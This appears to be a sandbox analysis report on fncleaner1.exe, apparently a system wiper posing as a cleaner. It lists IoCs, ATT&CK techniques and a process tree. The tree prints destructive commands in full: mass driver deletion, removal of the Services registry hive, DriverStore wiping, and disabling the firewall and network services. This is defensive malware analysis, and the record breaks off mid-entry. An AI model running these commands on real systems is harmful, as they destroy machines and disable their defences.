9de0c63aeba6518f3e6ba8ea3d7d28ed41c6b911630a25c5af854ead0480d0a1

Analysis

max time kernel
32s
max time network
33s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/07/2026, 18:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
fncleaner1.exe
Size 104KB
Sample260707-xmmsgac17p
SHA256 9de0c63aeba6518f3e6ba8ea3d7d28ed41c6b911630a25c5af854ead0480d0a1
MD5 7670ad1bbbad82a91282a9d46e019dc3
SHA1 3b15f97eff9fb5a43045ad4d673f463ae68aa93d
SHA512 30bb7c808bb93a9a2e6082a55bfea826d1260a0c7f5e469331a979d633f93f4cf6be8ca82198ea2df29e359c2c28f281c1ebab78961def0ca8e6573a1d4dd898
SSDEEP 1536:GdbjB0cClcOlBE/cEKMM+NmZHIssVwOR5Yk3Bm/m:sCxXEc51ItwOnYKm
TLSH
T191A3081BAB61053CE1A5D63ADAE68D41EF31788E47D2ABDF13800CF25D952909F3A713
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution ransomware

Malware Config

Signatures

Modifies firewall policy service 3 TTPs 26 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces\IfIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVVMCreators	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\TenantRestrictions	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\Logging	reg.exe

Modifies security service 2 TTPs 7 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4416	bcdedit.exe
1716	bcdedit.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Maps connected drives based on registry 3 TTPs 3 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe

Drops file in Windows directory 33 IoCs

description	ioc	Process
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	Dism.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	dismhost.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	pnputil.exe

Launches sc.exe 13 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5564	sc.exe
3836	sc.exe
2748	sc.exe
5920	sc.exe
5676	sc.exe
5336	sc.exe
2524	sc.exe
2512	sc.exe
1728	sc.exe
936	sc.exe
4484	sc.exe
2300	sc.exe
4364	sc.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1616	cmd.exe
6004	net.exe
4564	net1.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
5216	reg.exe
5332	reg.exe
3676	reg.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3912	shutdown.exe
Token: SeRemoteShutdownPrivilege	3912	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4572	PickerHost.exe
5020	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1096 wrote to memory of 6052	1096	fncleaner1.exe	88
PID 6052 wrote to memory of 5340	6052	cmd.exe	90
PID 1096 wrote to memory of 4740	1096	fncleaner1.exe	91
PID 4740 wrote to memory of 2720	4740	cmd.exe	93
PID 2720 wrote to memory of 3660	2720	Dism.exe	94
PID 1096 wrote to memory of 1108	1096	fncleaner1.exe	95
PID 1108 wrote to memory of 1276	1108	cmd.exe	97
PID 1096 wrote to memory of 5424	1096	fncleaner1.exe	98
PID 5424 wrote to memory of 3476	5424	cmd.exe	100
PID 1096 wrote to memory of 1324	1096	fncleaner1.exe	101
PID 1324 wrote to memory of 4672	1324	cmd.exe	103
PID 1096 wrote to memory of 464	1096	fncleaner1.exe	104
PID 464 wrote to memory of 4952	464	cmd.exe	106
PID 1096 wrote to memory of 5224	1096	fncleaner1.exe	107
PID 5224 wrote to memory of 5588	5224	cmd.exe	109
PID 1096 wrote to memory of 1068	1096	fncleaner1.exe	110
PID 1068 wrote to memory of 4568	1068	cmd.exe	112
PID 1096 wrote to memory of 1184	1096	fncleaner1.exe	113
PID 1184 wrote to memory of 2984	1184	cmd.exe	115
PID 1096 wrote to memory of 5352	1096	fncleaner1.exe	116
PID 5352 wrote to memory of 5948	5352	cmd.exe	118
PID 1096 wrote to memory of 5400	1096	fncleaner1.exe	119
PID 5400 wrote to memory of 5636	5400	cmd.exe	121
PID 5636 wrote to memory of 2420	5636	net.exe	122
PID 1096 wrote to memory of 432	1096	fncleaner1.exe	123
PID 432 wrote to memory of 1352	432	cmd.exe	125
PID 1352 wrote to memory of 1492	1352	net.exe	126
PID 1096 wrote to memory of 2500	1096	fncleaner1.exe	127
PID 2500 wrote to memory of 2748	2500	cmd.exe	129
PID 1096 wrote to memory of 6076	1096	fncleaner1.exe	130
PID 6076 wrote to memory of 5920	6076	cmd.exe	132
PID 1096 wrote to memory of 3124	1096	fncleaner1.exe	133
PID 3124 wrote to memory of 984	3124	cmd.exe	135
PID 1096 wrote to memory of 4340	1096	fncleaner1.exe	136
PID 4340 wrote to memory of 4748	4340	cmd.exe	138
PID 1096 wrote to memory of 296	1096	fncleaner1.exe	139
PID 296 wrote to memory of 5968	296	cmd.exe	141
PID 1096 wrote to memory of 1536	1096	fncleaner1.exe	142
PID 1536 wrote to memory of 4260	1536	cmd.exe	144
PID 1096 wrote to memory of 2372	1096	fncleaner1.exe	145
PID 2372 wrote to memory of 6116	2372	cmd.exe	147
PID 1096 wrote to memory of 2364	1096	fncleaner1.exe	148
PID 2364 wrote to memory of 3056	2364	cmd.exe	150
PID 1096 wrote to memory of 5888	1096	fncleaner1.exe	151
PID 5888 wrote to memory of 4700	5888	cmd.exe	153
PID 1096 wrote to memory of 4248	1096	fncleaner1.exe	154
PID 4248 wrote to memory of 2976	4248	cmd.exe	156
PID 1096 wrote to memory of 1816	1096	fncleaner1.exe	157
PID 1816 wrote to memory of 3684	1816	cmd.exe	159
PID 1096 wrote to memory of 5836	1096	fncleaner1.exe	160
PID 5836 wrote to memory of 4728	5836	cmd.exe	162
PID 1096 wrote to memory of 6120	1096	fncleaner1.exe	163
PID 6120 wrote to memory of 5780	6120	cmd.exe	165
PID 1096 wrote to memory of 3616	1096	fncleaner1.exe	166
PID 3616 wrote to memory of 5616	3616	cmd.exe	168
PID 1096 wrote to memory of 5468	1096	fncleaner1.exe	169
PID 5468 wrote to memory of 4676	5468	cmd.exe	171
PID 1096 wrote to memory of 6084	1096	fncleaner1.exe	172
PID 6084 wrote to memory of 5236	6084	cmd.exe	174
PID 1096 wrote to memory of 1252	1096	fncleaner1.exe	175
PID 1252 wrote to memory of 2460	1252	cmd.exe	177
PID 1096 wrote to memory of 4456	1096	fncleaner1.exe	178
PID 4456 wrote to memory of 2504	4456	cmd.exe	180
PID 1096 wrote to memory of 3312	1096	fncleaner1.exe	181

C:\Users\Admin\AppData\Local\Temp\fncleaner1.exe
"C:\Users\Admin\AppData\Local\Temp\fncleaner1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /enum-drivers
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6052
- - C:\Windows\system32\pnputil.exe
    pnputil /enum-drivers
    3⤵
    PID:5340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c DISM /Online /Cleanup-Image /RestoreHealth
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Windows\system32\Dism.exe
    DISM /Online /Cleanup-Image /RestoreHealth
    3⤵
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:2720
  - - C:\Windows\System32\Dism\dismhost.exe
      C:\Windows\System32\Dism\dismhost.exe {0A83CFA9-FCD2-4B1C-B6BE-C3FB2BDC48AD}
      4⤵
      Drops file in Windows directory
      PID:3660
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver oem*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver oem*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:1276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver net*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5424
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver net*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:3476
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver wlan*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver wlan*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:4672
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver ndis*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver ndis*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:4952
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver rtl*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5224
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver rtl*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:5588
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver intel*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1068
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver intel*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:4568
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver realtek*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver realtek*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:2984
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver broadcom*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5352
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver broadcom*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:5948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop WlanSvc /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5400
- - C:\Windows\system32\net.exe
    net stop WlanSvc /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5636
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WlanSvc /y
      4⤵
      PID:2420
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop dot3svc /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Windows\system32\net.exe
    net stop dot3svc /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1352
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop dot3svc /y
      4⤵
      PID:1492
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WlanSvc start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2500
- - C:\Windows\system32\sc.exe
    sc config WlanSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:2748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config dot3svc start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6076
- - C:\Windows\system32\sc.exe
    sc config dot3svc start= disabled
    3⤵
    - Launches sc.exe
    PID:5920
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver usb*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3124
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver usb*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:984
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver hid*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4340
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver hid*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:4748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver keyboard*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:296
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver keyboard*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:5968
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver mouse*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver mouse*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:4260
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver input*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2372
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver input*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:6116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver nv*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver nv*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:3056
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver amd*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5888
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver amd*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:4700
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver ati*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4248
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver ati*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:2976
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver intel*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver intel*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:3684
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver display*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5836
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver display*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:4728
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver igfx*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6120
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver igfx*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:5780
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver hdaudio*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver hdaudio*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:5616
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver realtek*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5468
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver realtek*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:4676
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver intel*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6084
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver intel*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:5236
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver audio*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver audio*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:2460
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver msm*.inf /force
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4456
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver msm*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:2504
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver disk*.inf /force
  2⤵
  PID:3312
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver disk*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:5032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver stor*.inf /force
  2⤵
  PID:424
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver stor*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:2568
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver sbp2*.inf /force
  2⤵
  PID:460
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver sbp2*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:1448
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver sd*.inf /force
  2⤵
  PID:6020
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver sd*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:3232
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c reg delete HKLM\SYSTEM\CurrentControlSet\Services /f
  2⤵
  PID:4368
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services /f
    3⤵
    - Modifies firewall policy service
    - Modifies security service
    - Maps connected drives based on registry
    - Modifies registry key
    PID:5216
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c reg delete HKLM\SYSTEM\ControlSet001\Services /f
  2⤵
  PID:5940
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\ControlSet001\Services /f
    3⤵
    - Modifies firewall policy service
    - Modifies registry key
    PID:5332
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c reg delete HKLM\SYSTEM\ControlSet002\Services /f
  2⤵
  PID:2408
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\ControlSet002\Services /f
    3⤵
    - Modifies registry key
    PID:3676
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /q /f Discord.exe
  2⤵
  PID:5272
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /q /f Update.exe
  2⤵
  PID:4056
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver * /force
  2⤵
  PID:3180
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver * /force
    3⤵
    - Drops file in Windows directory
    PID:5536
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver * /force
  2⤵
  PID:5412
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver * /force
    3⤵
    - Drops file in Windows directory
    PID:2480
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c pnputil /delete-driver oem*.inf /force
  2⤵
  PID:3804
- - C:\Windows\system32\pnputil.exe
    pnputil /delete-driver oem*.inf /force
    3⤵
    - Drops file in Windows directory
    PID:5900
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /s /q C:\Windows\System32\DriverStore\FileRepository\*.* 2>nul
  2⤵
  PID:3936
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop WlanSvc /y
  2⤵
  PID:6140
- - C:\Windows\system32\net.exe
    net stop WlanSvc /y
    3⤵
    PID:2244
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WlanSvc /y
      4⤵
      PID:3544
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WlanSvc start= disabled
  2⤵
  PID:1764
- - C:\Windows\system32\sc.exe
    sc config WlanSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:2512
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop dot3svc /y
  2⤵
  PID:4900
- - C:\Windows\system32\net.exe
    net stop dot3svc /y
    3⤵
    PID:872
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop dot3svc /y
      4⤵
      PID:3216
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config dot3svc start= disabled
  2⤵
  PID:5748
- - C:\Windows\system32\sc.exe
    sc config dot3svc start= disabled
    3⤵
    - Launches sc.exe
    PID:1728
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop MpsSvc /y
  2⤵
  PID:1240
- - C:\Windows\system32\net.exe
    net stop MpsSvc /y
    3⤵
    PID:5012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MpsSvc /y
      4⤵
      PID:1460
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config MpsSvc start= disabled
  2⤵
  PID:756
- - C:\Windows\system32\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:5676
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop Dnscache /y
  2⤵
  PID:4356
- - C:\Windows\system32\net.exe
    net stop Dnscache /y
    3⤵
    PID:3476
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop Dnscache /y
      4⤵
      PID:2548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config Dnscache start= disabled
  2⤵
  PID:2392
- - C:\Windows\system32\sc.exe
    sc config Dnscache start= disabled
